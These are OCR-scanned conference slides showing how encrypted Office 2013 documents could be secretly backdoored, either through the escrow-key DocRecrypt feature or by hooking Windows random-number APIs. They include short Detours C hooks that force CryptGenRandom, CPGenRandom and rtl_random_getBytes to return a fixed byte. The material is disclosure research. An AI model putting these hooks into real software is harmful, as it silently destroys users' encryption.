OOXML Word, Excel and PowerPoint files.

[1] https://www.microsoft.com/en-us/download/details.aspx?id=36443

B® Microsoft

Download Center |

s

Shop ~ Products « Categories~  Support ~ Security v

Office 2013 Administrative Template files (ADMX/ADMIL)
and Office Customization Tool

Language: English

This download includes Group Policy Administrative Template (ADMX/ADML) and Office
Customization Tool (OPAX/OPAL) files for Microsoft Office 2013.
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By using Office 2013 and an escrow key

1. You the IT admin, are the keeper of the escrow key which
is generated from your company or organization's
private key certificate store.

2. You can silently push the public key information to
client computers one time through a registry key setting.

3. When a user later creates password-protected Office 2013
files, this public key is included in the file header.

4. IT admin can use the Office DocRecrypt tool to remove
the password that is attached to the file by using your
company's private key.

[1] https://technet.microsoft.com/en-US/library/jj923033.aspx
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An attacker can exploit this IT admin's function

IJ Oﬂ:ice Search Office with Bing m

Downloads & Updates Products Support Forums Library

Collapse Al Export (0)

* TechNet Libra . . .

s Offie Producss Remove or reset file passwords in Office 2013
» Office bl
» Office 2013

? Office 2013 Resource Kit
» Plan and deploy

Office 2013 | 7 out of 42 rated this helpful - Rate this topic

Applies to: Office 365 ProPlus, Office 2013

4 [dentity, authentication, and Topic Last Modified: 2014-09-04

authorization

Roadmap: Identity, Summary: Explains how to use the Office 2013 DocRecrypt tool to unlock password protected OOXML formatted Word, Excel, and PowerPoint files.

authentication, and Audience: IT Professionals
authorization
Use Group Policy to push registry changes that associate a certificate with password-protected documents. This certificate information is embedded in the file header. Later, if the password is

Overview: Identity,
y forgotten or lost, use the DocRecrypt command line tool and the private key to unlock the file and, optionally, assign a new password.

authentication, and
authorization

Plan Information Rights
Management

Configure Information Rights
Management

If you want information about passwords in a personal copy of Office 2013, see protect your documents with passwords and permissions instead.

See remove a password from a document for an additional example.

Plan password complexity

settings
Remove or reset file If you are an IT Professional looking to remowve or reset passwords in Office 2013 files within your crganization, for example if an employee has left the organization and you do
passwords not know the password, you're at the right place, keep reading.

[1] https://technet.microsoft.com/en-US/library/jj923033.aspx


https://technet.microsoft.com/en-US/library/jj923033.aspx
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attack vectors

1. An attacker can replace the random generator function
by Win32 API hooking.

2. An attacker can replace the random generator in
embeded hardware chips.

3. An attacker can use the predictable number generator
secretly in cloud environments.
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Win32 APl hooking

- [AT
- Import Address Table function hooking.

- WinAPIOverride
- Advanced API Monitor, spy or override API supporting x86 and x64 .

- EasyHook

- open source hooking engine supporting x86 and x64 in Windows in
both user and kernel land.

- Detours

eneral I?u Cpose function hooking library created by Microsoft
esearc C++).
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WinAPIOverride32 / WinAPIOverrideé4

g :

HOME INSERT PAGE LAYOUT FORMULAS DATA REVIEW VIEW TEAM Sign in
E&ﬁzut [ @ winAPIOverridesd T T —— — - » - ., - ,_. El@lg} #H
w2 [ PEX BB e Do H B bb o mEB OED 9 @E D B e
4 - - 4 . 1 r~ Select

Clipboard fﬁE'@kﬁE&E‘g'ﬁ'?_l%%|%‘h Z|Q-ﬂ\@'sﬁ“?@3‘§§" ~

Choose Application to Hook 1
F5 - (@) Attach to running process(es) : Enter Process ID, or Drag and Drop the Cross, or use processes/services lists v

Process ID 1852;2164 # | Processes Lt | Services
A E i R s -

() Attach at application startup

Application Path - E Command Line -
[ Automatically resume application after having loaded the following files list Files
[Jrunas @3 Administrator v | Passwod
[ tnject before statically linked dil execution [Tl 1nject Only after : 100 ms
[ stop logging and kil application after : 5000 ms
(7 Attach to all new processes
o= Filters [ Inject into new processes anly after : 100 ms

Modules Filters
Apply to Monitoring %= Modules Filters Use list

Exclusion list  notHookedModuleList, bt M E @

_._._._._._._._._._. N
O~ O A= £0 Ry = o 00 G e D D

Apply to Overriding () Indusion list
S
Id Dir Cal Ret Value Caller Addr  Caller Relative Addr ProcessID *

64 <3 CryptStringToBinaryA ("AmDxckfggzXesyVQvZE0 +A==08&>F", 0x00000018 ,0x00000001, 0x0000000000000000 :Bad p...  0x000000Q. .. 0x000000... CRYPT32.dll +0x3048D 0x00000874

a7 {J CryptStringToBinaryW ( “AmDxckfg9zX95VWQvZ80 +A==microsoft. comfoffice/2006/keyEncryptor ... , 0x000000 18 ,0x00. .. 0x000000... 0x000000... mso.dll + 0x1495863 0x00000874

=13 <] CryptStringToBinarya {"AmDxckfg9zX95VVQvZ80 +A==08&>F", 0x000000 18, 0x00000001,, 0x000000000F654700 : 0x02,0... 0x000000... 0x000000... CRYPT32.dll + 0x304BD 0x00000874
20 ] <] CryptStringToBinaryW ("F1QCYnwkw 1j8norkCQze5M tiwrzflz ZTpVKEljGC Al 3sZKW 3HpUFg 2nPevF ..., 0x00000058, 0x...  Ox000000...  Ox000000...  mso.dl + 0x1495830 0x00000874

2] <3 CryptStringToBinaryA ("FIQCYnwkw Lj8norKCQzasMtvwrzf0zX ZTpVKEeiGCAI3sZKW 3/HpUFg2nPsvP .., ,0x00000058, 0X. .. 0000000, . 0x000000... CRYPT32.dll +0x3048D 0x00000874
21 71 4¢3 CryptStringToBinaryW ( FIQCYnwin 1iBnorkCOzasMtiwrzflzy ZTpVKEIeiGCAI3sZKW 3HpUFg 2nPsvP ..., 0x00000058,0%.,.  0x000000...  Ox000000...  mso.dl +Ox1495863 0x00000874 (7§
2z 70 <] CryptStringToBinaryA {(FIQCYnwkw 1j8norkKCQzasMtwrzf0zX ZTpVKEejGCAI3sZKW 3/HpUFg2nPsvP ... . 0x00000058, 0X... 0x000000. .. 0x000000... CRYPT32.dll +0x304BD 0x00000874
23 73 <] CryptStringToBinaryW (™ 30jLuyheel [CCwMILBbMb 1/cTkSCibhwT Hg Ve 5T IvkdgWhkBTUQzWyfwPj ... ,0x00000058, 0x.. . 0x000000...  Ox000000...  mso.dll + 0x1435830 0x00000874 E
24 72 43 CryptStringToBinaryA (X 30iLuyheel [COWMILEBNE 1/c Tk CibhwT +Ha Ve SETIvkIgWKETUQZWy fnf... , 0x00000058, 0x0...  0x000000...  0x000000... CRYPT32.dl +0x304BD  0x00000874
25 75 <3 CryptStringToBinaryW (™ 30jLuyheel /COwMILEbNMb 1/cIkaCibhwT Hallve StTIvkIgWkBTUQ2WyfwPy ... 000000058, 0X. .. 0000000, . 0x000000... mso.dl + 0x1495863 0x00000874
26 74 <] CryptStringToBinaryA (™ 30jLuyheel [CCwWMIL8bMNb 1/ k3CibhwT -Hg Ve 5tT vk IgWkBTUQz Wy fwPj ..., 0x00000058 , 0x0... 0x000000. .. 0x000000... CRYPT32.dll +0x304BD 0x00000874
27 | <3 CrvptStringToBinaryW {“9p3xhiVom 1vZ6M71V5ImNA = =encrvptedVerifierHashInout4s5zuk +RaTa. .., 0x00000018,0x00...  0x000000.,.  0x000000...  mso.dl +0x1495830 0x00000874 ™
a0 4 1 2 -

m -—F——+ 100%

[1] http://jacquelin.potier.free.fr/winapioverride32/
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Microsoft Research Detours (Win32 APl hooking)

- Detours Express 3.0

- available for immediate download under a no-fee, click-through
license for research, non-commercial, and non-production use.

- Detours Express is limited to 32-bit processes on x86 processors.

- Detours Professional 3.0 (Buy now!)

- available for immediate purchase at the online Microsoft Store.
- Support for 64-bit code on x64 and IA64 processors (Professional Edition only).
- Support for all Windows processors (Professional Edition only).
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Microsoft Research Detours v3 Professional

Q@| BB http://www.microsoftstore.com/store/mskr/ko_KR/pdp/Microsofl O ~ ® & ‘ B® Microsoft Research Det... x np * {E:Eé
BF Microsoft n#ME 209 ®uRL () FYL SKU e E= 22 ez ey P 0N
[ | i = ) (f=E=% e =55 0= F=
AE 70f.  SME2 Y RHE  DAME

= > Microsoft Research Detours v3 Professional

F Microsoft Research Detours v3 Professional
. #12000,000 (27}7}K| M Z3H ¢

| ]
| ]
= | |
| |
-............................................
‘Research
Detours V3.0 Microsoft Research Detours v3 Professional2 x86, x64, 1A64 HEH
Eyalessdi) O Y| Win32 E4=2 0|83}7| /3t 240|232 LI} OfF That
=0 et L5 H2E 228 ChAl 24d5t0] Wind2 g+ 2H
HES = UL
=g 1
| Pinit |
AL o 2]
vohzl 27 A|ARL Q1 Abgt

v

[1] http://www.microsoftstore.com/store/mskr/ko_KR/pdp/Microsoft-Research-Detours-v3-Professional/productID.280904700


http://www.microsoftstore.com/store/mskr/ko_KR/pdp/Microsoft-Research-Detours-v3-Professional/productID.280904700

Detours ("Advapi32.dil’, "CryptGenRandom")

#include "detours.h"

static BOOL (WINAPI * TrueCryptGenRandom)(HCRYPTPROV hProv,
DWORD dwLen, BYTE *pbBuffer) = NULL;

BOOL WINAPI HookCryptGenRandom(HCRYPTPROV hProv, DWORD dwLen,
BYTE *pbBuffer)

{
for (DWORD i = 0; i < dwLen; i++) {
pbBuffer[i] = @x33; // return fixed value

}
return TRUE;




SEL LN

Detours ("rsaenh.dll”, "CPGenRandom")

#include "detours.h"

static BOOL (WINAPI * TrueCPGenRandom)(HCRYPTPROV hProv, DWORD
dwLen, BYTE *pbBuffer) = NULL;

BOOL WINAPI HookCPGenRandom(HCRYPTPROV hProv, DWORD dwLen, BYTE
*pbBuffer)

{
for (DWORD i = 0; i < dwLen; i++) {
pbBuffer[i] = @x33; // return fixed value

}
return TRUE;
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Detours ("sal3.dll”, "rtl_random_getBytes")

#include "detours.h"

static int (__cdecl *True_rtl random getBytes)(void*, void¥*,
size t) = NULL;
int _ cdecl Hook rtl random getBytes(void* pool, void* buf,
size t size)
{

if (pool == @ || buf == @) return 1;

char *p = (char*)buf;

for (size t i = 0; i < size; i++) {

p[i] = Ox33; // return fixed value
}

return 9;
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Intel RdARand instruction (2011-)

Instruction Opcode Op encoding  Description

Read a 16-bit random number and store in the

RDRAND r16 OF C7 /6 ModRM:r/m(w) destination register

Read a 32-bit random number and store in the

RDRAND r32 OF C7 /6 ModRM:r/m(w) destination register

Read a 64-bit random number and store in the

RDRAND r64 REXW+0FC7/6  ModRM:r/m(w) destination register

[1] https://software.intel.com/sites/default/files/m/d/4/1/d/8/441_Intel R__DRNG_Software_Implementation_Guide_final_Aug?7.pdf
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'Remove RdRand from /dev/random’ (2013)

Torvalds shoots down call to yank
'backdoored’ Intel RdRand in Linux crypto

'We actually know what we are doing. You don't' says kernel boss

10 Sep 2013 at 17:03, Gavin Clarke D« @O @ W=

[1] http://www.theregister.co.uk/2013/09/10/torvalds_on_rrrand_nsa_gchq/


http://www.theregister.co.uk/2013/09/10/torvalds_on_rrrand_nsa_gchq/
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/dev/random seems like a safety

- Linus Torvalds's answer (2013.09.09):

- we use rdrand as _one_ of many inputs into the random
pool, and we use it as a way to _improve_ that random
pool.

- So even if rdrand were to be back-doored by the NSA, our
use of rdrand actually improves the quality of the random
numbers you get from /dev/random.

[1] https://www.change.org/p/linus-torvalds-remove-rdrand-from-dev-random-4/responses/9066



Office Online (Office 2016 Preview)

Office Online

Office Online

OneDriveOjA| 2M, AT Y CAIE, g™
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https://office.live.com/start/default.aspx?omkt=ko-KR
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Conclusion

1. Recent MS Office 2010/2013 Open Oftice XML documents are

normally encrypted very strongly, making them difficult to
brute force attacks.

2. However, there are techniques an attacker can use to secretly
backdoor these encrypted documents to make them trivial to

decrypt.

3. Cloud environments may be more dangerous than thought
as it is not possible for users to confirm the security of their
encryption. And it would be easy for cloud providers (or
advanced attackers with access to those cloud providers) to
backdoor encryption in undetectable ways.
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